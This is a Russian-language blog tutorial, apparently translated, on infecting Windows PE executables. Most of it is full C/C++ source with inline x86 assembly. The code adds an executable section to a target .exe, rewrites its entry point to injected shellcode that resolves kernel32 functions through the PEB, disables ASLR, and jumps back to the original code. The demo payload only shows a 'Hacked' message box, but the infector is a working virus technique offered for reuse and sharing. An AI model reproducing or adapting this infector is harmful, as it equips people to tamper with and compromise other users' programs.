Order Of Six Angles

Main Logo

Х.Р.А.М Сатаны

Home | RU | Translations | Art | Feed.xml

12 June 2021

tags: windows - malware

Еще один детальный гайд по заражению PE

Я передаю привет всем друзьям сайта rohitab.com!

Сегодня я хочу вам объяснить подробно, что такое заражение PE. Тема довольна сложная, но в конце концов интересная!

Требования, чтобы понять это руководство:

Отличные знания о PE
Хорошее знание языка ассемблера
Хорошее знание работы памяти, указателей и файловых операций
Терпение

Начнем!

Для начала мы добавим новую, пустую PE секцию. Получив путь к файлу, мы полностью его читаем, проверяем DOS сигнатуру, чтобы убедиться в валидности PE, проверяем, является ли он исполняемым x86 файлом (это очень важно, так как мы будем внедрять x86 опкоды в пустую секцию), проверяем, существует ли уже секция, которую мы хотим создать, и если все проверки пройдены - мы создаем новую секцию, с заданным размером и характеристиками. Код прокомментирован и хорошо объясняет происходящее.

Все это делается функцией AddSection. Стоит отметить, что метод описанный здесь использует файл на диске, без маппинга его в память и производит чтение/запись там же. Он также сильно опирается на файловые указатели.

Вторая и самая сложная часть - это добавление кода в только что созданную секцию. Чтобы доказать работоспособность этого метода, я делаю следующее:

Добавляю новую секцию
Берем и сохраняем адрес оригинальной точки входа из Optional Header (это адрес, откуда программа начинает работу)
Меняем OEP (оригинальную точку входа), чтобы она указывала на нашу новую секцию, поэтому когда пользователь запустит программу, она начнет выполнять наш код и делать все что мы захотим ДО того, как начнется выполнение оригинального кода, потом идет возврат к оригинальной точке входа и программа работает, как ни в чем небывало! В данном конкретном случае, я показываю всплывающее окно с надписью "Hacked"! 

ВАЖНО

Так как kernel32 загружается каждый раз при перезагрузке по разным адресам, нам надо ДИНАМИЧЕСКИ получать ее базовый адрес из PEB, чтобы мы могли найти функцию в таблице экспорта под названием LoadLibraryA, вызвать ее с аргументом “user32.dll”, и потом достать адрес функции MessageBoxA из user32.dll, используя GetProcAddress. ВСЕ ЭТО ДОЛЖНО БЫТЬ СДЕЛАНО ВНУТРИ НОВОЙ PE СЕКЦИИ, КОТОРУЮ МЫ СОЗДАЛИ !!!

Каким образом мы можем это сделать? Нам надо получить опкоды из кода ассемблерных вставок и затем скопировать их в новую секцию.

Это можно сделать с помощью шикарного кода, написанного wap2k, который я называю самочитаемым (self-read, запомните это название - прим. пер.):

DWORD start(0), end(0); __asm{ mov eax, loc1 mov[start], eax // мы пропускаем вторую ассемблерную вставку (__asm), чтобы не исполнять ее в самом коде инфектора (инфектор от слова infect - заражать) jmp over loc1: }

__asm{
    // опкоды, который мы хотим создать и скопировать в новую секцию
}
 
__asm{
    over:
    mov eax, loc2
    mov [end],eax
    loc2:
}

Мы создаем две метки в коде. Одна указывает на начало секции с опкодами, другая на конец. Вторая ассемблерная вставка (__asm в середине) - это что нас интересует. Когда мы отнимаем адрес конца от адреса начала - мы получаем смещение, по которому мы должны скопировать подходящий код (в середине), без копирования остальных опкодов, чтобы не нарушить целостность внедряемого кода.

Мы перепрыгиваем код в середине, чтобы не исполнять его при заражении, используя инструкцию jmp (jmp на метку “over”).

Теперь, внутри секции в середине, мы ищем базовый адрес kernel32.dll, ищем функции LoadLibraryA и GetProcAddress для получения адреса MessageBoxA и вызова его с нужным текстом!

После того, как мы нашли и вызвали эти функции (вызов и поиск производится зараженным PE, надеюсь вы это уже поняли), нам надо прыгнуть назад к оригинальному коду программы (входной точке)!

Так как значение OEP (оригинальная точка входа) хранится в переменной внутри кода инфектора и если мы хотим ссылаться на него из опкодов, то код для самочтения заполнит недействительный адрес, так как мы укажем на то, что существует только здесь, а не на секцию данных зараженной программы. Решение: мы поместим заглушку со значением 0xdeadbeef, чтобы позже перезаписать туда OEP.

Мы будем перезаписывать заглушку вот так:

if (*invalidEP == 0xdeadbeef){ DWORD old; VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old); *invalidEP = OEP; }

Код прокомментирован, но я буду подробно объяснять проблемные участки! Я сейчас на работе и писал это руководство быстро, как только мог, поэтому буду рассказывать подробно !!!

Вот сам код:

#include #include #include #include #pragma comment(lib, "imagehlp")

DWORD align(DWORD size, DWORD align, DWORD addr){ if (!(size % align)) return addr + size; return addr + (size / align + 1) * align; }

int AddSection(char *filepath, char *sectionName, DWORD sizeOfSection){ HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (file == INVALID_HANDLE_VALUE){ CloseHandle(file); return 0; } DWORD fileSize = GetFileSize(file, NULL); if (!fileSize){ CloseHandle(file); // пустой файл, что делает его недействительным return -1; } // теперь мы знаем сколько памяти нам надо для буфера BYTE *pByte = new BYTE[fileSize]; DWORD dw; // читаем весь файл, чтобы получить доступ к информации о PE ReadFile(file, pByte, fileSize, &dw, NULL);

PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
if (dos->e_magic != IMAGE_DOS_SIGNATURE){
    CloseHandle(file);
    return -1; // невалидный PE
}
PIMAGE_NT_HEADERS NT = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);
if (NT->FileHeader.Machine != IMAGE_FILE_MACHINE_I386){
    CloseHandle(file);
    return -3;// 64 битный файл
}
PIMAGE_SECTION_HEADER SH = IMAGE_FIRST_SECTION(NT);
WORD sCount = NT->FileHeader.NumberOfSections;

// проходим по всем доступным секциям и смотрим, существует ли уже та, которую мы хотим добавить
for (int i = 0; i < sCount; i++){
    PIMAGE_SECTION_HEADER x = SH + i;
    if (!strcmp((char *)x->Name, sectionName)){
        //PE секция уже существует
        CloseHandle(file);
        return -2;
    }
}
 
ZeroMemory(&SH[sCount], sizeof(IMAGE_SECTION_HEADER));
CopyMemory(&SH[sCount].Name, sectionName, 8);
// Мы используем 8 байт для имени секции, потому что это максимально разрешенная длина
 
// вставляем всю необходимую информацию о нашей новой PE секции
SH[sCount].Misc.VirtualSize = align(sizeOfSection, NT->OptionalHeader.SectionAlignment, 0);
SH[sCount].VirtualAddress = align(SH[sCount - 1].Misc.VirtualSize, NT->OptionalHeader.SectionAlignment, SH[sCount - 1].VirtualAddress);
SH[sCount].SizeOfRawData = align(sizeOfSection, NT->OptionalHeader.FileAlignment, 0);
SH[sCount].PointerToRawData = align(SH[sCount - 1].SizeOfRawData, NT->OptionalHeader.FileAlignment, SH[sCount - 1].PointerToRawData);
SH[sCount].Characteristics = 0xE00000E0;
 
/*
0xE00000E0 = IMAGE_SCN_MEM_WRITE |
             IMAGE_SCN_CNT_CODE  |
             IMAGE_SCN_CNT_UNINITIALIZED_DATA  |
             IMAGE_SCN_MEM_EXECUTE |
             IMAGE_SCN_CNT_INITIALIZED_DATA |
             IMAGE_SCN_MEM_READ
*/
 
SetFilePointer(file, SH[sCount].PointerToRawData + SH[sCount].SizeOfRawData, NULL, FILE_BEGIN);
// устанавливаем конец файла на последнюю секции + размер файла
SetEndOfFile(file);
// теперь меняем размер образа, чтобы он соответствовал нашим модификациям,
// добавлением новой секции. Размер теперь стал больше
NT->OptionalHeader.SizeOfImage = SH[sCount].VirtualAddress + SH[sCount].Misc.VirtualSize;
// так как мы добавляем новую секцию, то меняем их количество
NT->FileHeader.NumberOfSections += 1;
SetFilePointer(file, 0, NULL, FILE_BEGIN);
// и в конечном итоге записываем результат наших модификаций в файл
WriteFile(file, pByte, fileSize, &dw, NULL);
CloseHandle(file);
return 1; }

bool AddCode(char *filepath){ HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (file == INVALID_HANDLE_VALUE){ CloseHandle(file); return false; } DWORD filesize = GetFileSize(file, NULL); BYTE *pByte = new BYTE[filesize]; DWORD dw; ReadFile(file, pByte, filesize, &dw, NULL); PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);

// ОЧЕНЬ ВАЖНО
// ЕСЛИ ВКЛЮЧЕН ASLR - ЭТО РАБОТАТЬ НЕ БУДЕТ !!!
// Решение: Отключайте ASLR =))
nt->OptionalHeader.DllCharacteristics &= ~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;
 
// так как мы добавили новую секцию, она будет последней
// поэтому мы должны добраться до последней секции и вставить наши секретные данные :)
PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt);
PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections - 1);
 
SetFilePointer(file, 0, 0, FILE_BEGIN);
//сохраняем оригинальную точку входа
DWORD OEP = nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase;
 
// мы меняем оригинальную точку входа на адрес последней секции
nt->OptionalHeader.AddressOfEntryPoint = last->VirtualAddress;
WriteFile(file, pByte, filesize, &dw, 0);
 
// получаем опкоды
DWORD start(0), end(0);
__asm{
    mov eax, loc1
    mov[start], eax
    мы пропускаем вторую ассемблерную вставку (__asm), чтобы не исполнять ее в самом коде инфектора
    jmp over
    loc1:
}
 
__asm{
    /*
        Смысл этого куска кода в чтении базового адреса kernel32.dll
        из PED, просмотр таблицы экспорта (EAT) и поиск функций
    */
    mov eax, fs:[30h]
    mov eax, [eax + 0x0c]; 12
    mov eax, [eax + 0x14]; 20
    mov eax, [eax]
    mov eax, [eax]
    mov eax, [eax + 0x10]; 16
 
    mov   ebx, eax; Берем базовый адрес kernel32
    mov   eax, [ebx + 0x3c]; VMA (virtual memory address - адрес виртуальной памяти - прим.пер.) заголовка PE
    mov   edi, [ebx + eax + 0x78]; Относительное смещение таблицы экспорта
    add   edi, ebx; VMA таблицы экспорта
    mov   ecx, [edi + 0x18]; количество имен
 
    mov   edx, [edi + 0x20]; Относительное смещение таблицы имен
    add   edx, ebx; VMA таблицы имен
    // теперь давайте посмотрим на функцию LoadLibraryA
 
    LLA :
    dec ecx
        mov esi, [edx + ecx * 4]; сохраняем относительное смещение имени
        add esi, ebx; Устанавливаем в esi - VMA текущего имени 
        cmp dword ptr[esi], 0x64616f4c; обратный порядок байт L(4c)o(6f)a(61)d(64)
        je LLALOOP1
    LLALOOP1 :
    cmp dword ptr[esi + 4], 0x7262694c
        ;L(4c)i(69)b(62)r(72)
        je LLALOOP2
    LLALOOP2 :
    cmp dword ptr[esi + 8], 0x41797261; третье слово = a(61)r(72)y(79)A(41)
        je stop; прыгаем на метку stop, потому что мы нашли его
        jmp LLA; Load Libr aryA
    stop :
    mov   edx, [edi + 0x24];   Таблица относительных порядковых номеров функций
        add   edx, ebx; Таблица порядковых номеров функций
        mov   cx, [edx + 2 * ecx]; порядковый номер функции
        mov   edx, [edi + 0x1c]; Таблица относительных адресов смещений
        add   edx, ebx; Таблица адресов
        mov   eax, [edx + 4 * ecx]; смещение порядкового номера
        add   eax, ebx; VMA функции
        // теперь EAX содержит адрес LoadLibraryA
 
 
        sub esp, 11
        mov ebx, esp
        mov byte ptr[ebx], 0x75; u
        mov byte ptr[ebx + 1], 0x73; s
        mov byte ptr[ebx + 2], 0x65; e
        mov byte ptr[ebx + 3], 0x72; r
        mov byte ptr[ebx + 4], 0x33; 3
        mov byte ptr[ebx + 5], 0x32; 2
        mov byte ptr[ebx + 6], 0x2e; .
        mov byte ptr[ebx + 7], 0x64; d
        mov byte ptr[ebx + 8], 0x6c; l
        mov byte ptr[ebx + 9], 0x6c; l
        mov byte ptr[ebx + 10], 0x0
 
        push ebx
 
        //вызываем LoadLibraryA с аргументом user32.dll
        call eax;
        add esp, 11
        //сохраняем адрес возврата LoadLibraryA для последующего использования в GetProcAddress
        push eax
 
 
        // снова ищем функцию GetProcAddress
        mov eax, fs:[30h]
        mov eax, [eax + 0x0c]; 12
        mov eax, [eax + 0x14]; 20
        mov eax, [eax]
        mov eax, [eax]
        mov eax, [eax + 0x10]; 16
 
        mov   ebx, eax; базовый адрес kernel32
        mov   eax, [ebx + 0x3c]; VMA заголовка PE
        mov   edi, [ebx + eax + 0x78]; Относительное смещение таблицы экспорта
        add   edi, ebx; VMA таблицы экспорта
        mov   ecx, [edi + 0x18]; Количество имен
 
        mov   edx, [edi + 0x20]; Относительное смещение таблицы имен
        add   edx, ebx; VMA таблицы имен
    GPA :
    dec ecx
        mov esi, [edx + ecx * 4]; сохраняем относительное смещение имени
        add esi, ebx; Устанавливаем в esi - VMA текущего имени 
        cmp dword ptr[esi], 0x50746547; обратный порядок байт G(47)e(65)t(74)P(50)
        je GPALOOP1
    GPALOOP1 :
    cmp dword ptr[esi + 4], 0x41636f72
        // помните про обратный порядок : ) r(72)o(6f)c(63)A(41)
        je GPALOOP2
    GPALOOP2 :
    cmp dword ptr[esi + 8], 0x65726464; третье слово = d(64)d(64)r(72)e(65)
        // нет необходимости искать далее, так как больше нет функций, начинающихся с GetProcAddre
        je stp; если нашли, то прыгаем на метку stp
        jmp GPA
    stp :
        mov   edx, [edi + 0x24]; Таблица относительных порядковых номеров функций
        add   edx, ebx; Таблица порядковых номеров функций
        mov   cx, [edx + 2 * ecx]; порядковый номер функции
        mov   edx, [edi + 0x1c]; Таблица относительных адресов смещений
        add   edx, ebx; Таблица адресов
        mov   eax, [edx + 4 * ecx]; смещение порядкового номера
        add   eax, ebx;  VMA функции
        // теперь EAX содержит адрес GetProcAddress
        mov esi, eax
 
        sub esp, 12
        mov ebx, esp
        mov byte ptr[ebx], 0x4d //M
        mov byte ptr[ebx + 1], 0x65 //e
        mov byte ptr[ebx + 2], 0x73 //s
        mov byte ptr[ebx + 3], 0x73 //s
        mov byte ptr[ebx + 4], 0x61 //a
        mov byte ptr[ebx + 5], 0x67 //g
        mov byte ptr[ebx + 6], 0x65 //e
        mov byte ptr[ebx + 7], 0x42 //B
        mov byte ptr[ebx + 8], 0x6f //o
        mov byte ptr[ebx + 9], 0x78 //x
        mov byte ptr[ebx + 10], 0x41 //A
        mov byte ptr[ebx + 11], 0x0
 
        /*
            Достаем значение, сохраненное после возврата LoadLibraryA
            Вызов GetProcAddress выглядит так:
            esi(saved eax{address of user32.dll module}, ebx {the string "MessageBoxA"})
        */
 
        mov eax, [esp + 12]
        push ebx; MessageBoxA
        push eax; базовый адрес user32.dll, который получили с помощью LoadLibraryA
        call esi; адрес GetProcAddress :))
        add esp, 12
 
    sub esp, 8
    mov ebx,esp
    mov byte ptr[ebx], 72; H
    mov byte ptr[ebx + 1], 97; a
    mov byte ptr[ebx + 2], 99; c
    mov byte ptr[ebx + 3], 107; k
    mov byte ptr[ebx + 4], 101; e
    mov byte ptr[ebx + 5], 100; d
    mov byte ptr[ebx + 6], 0
 
    push 0
    push 0
    push ebx
    push 0
    call eax
    add esp, 8
 
    mov eax, 0xdeadbeef ; Оригинальная точка входа
    jmp eax
}
 
__asm{
    over:
    mov eax, loc2
    mov [end],eax
    loc2:
}
 
byte mac[1000];
byte *fb = ((byte *)(start));
DWORD *invalidEP;
DWORD i = 0;
 
while (i < ((end - 11) - start)){
    invalidEP = ((DWORD*)((byte*)start + i));
    if (*invalidEP == 0xdeadbeef){
        /*
            Так как значение OEP (оригинальная точка входа) хранится в переменной внутри кода инфектора и если мы хотим ссылаться на него из опкодов, то часть программы для самочтения заполнит недействительный адрес, так как мы укажем на то, что существует только здесь, а не на раздел данных зараженной программы. Решение: мы поместим заглушку со значением 0xdeadbeef, чтобы позже перезаписать туда OEP.
        */
        DWORD old;
        VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old);
        *invalidEP = OEP;
    }
    mac[i] = fb[i];
    i++;
}
SetFilePointer(file, last->PointerToRawData, NULL, FILE_BEGIN);
WriteFile(file, mac, i, &dw, 0);
CloseHandle(file);
return true; }

void main(){ char *file = “C:\Users\M\Desktop\Athena.exe”; int res = AddSection(file, “.ATH”, 400); switch (res){ case 0: printf(“Error adding section: File not found or in use!\n”); break; case 1: printf(“Section added!\n”); if (AddCode(file)) printf(“Code written!\n”); else printf(“Error writting code!\n”); break; case -1: printf(“Error adding section: Invalid path or PE format!\n”); break; case -2: printf(“Error adding section: Section already exists!\n”); break; case -3: printf(“Error: x64 PE detected! This version works only with x86 PE’s!\n”); break; } }

Пробуйте, улучшайте, делайте свое и самое главное: ДЕЛИТЕСЬ ЭТИМ С ДРУГИМИ!

Счастливого кодинга!

Вверх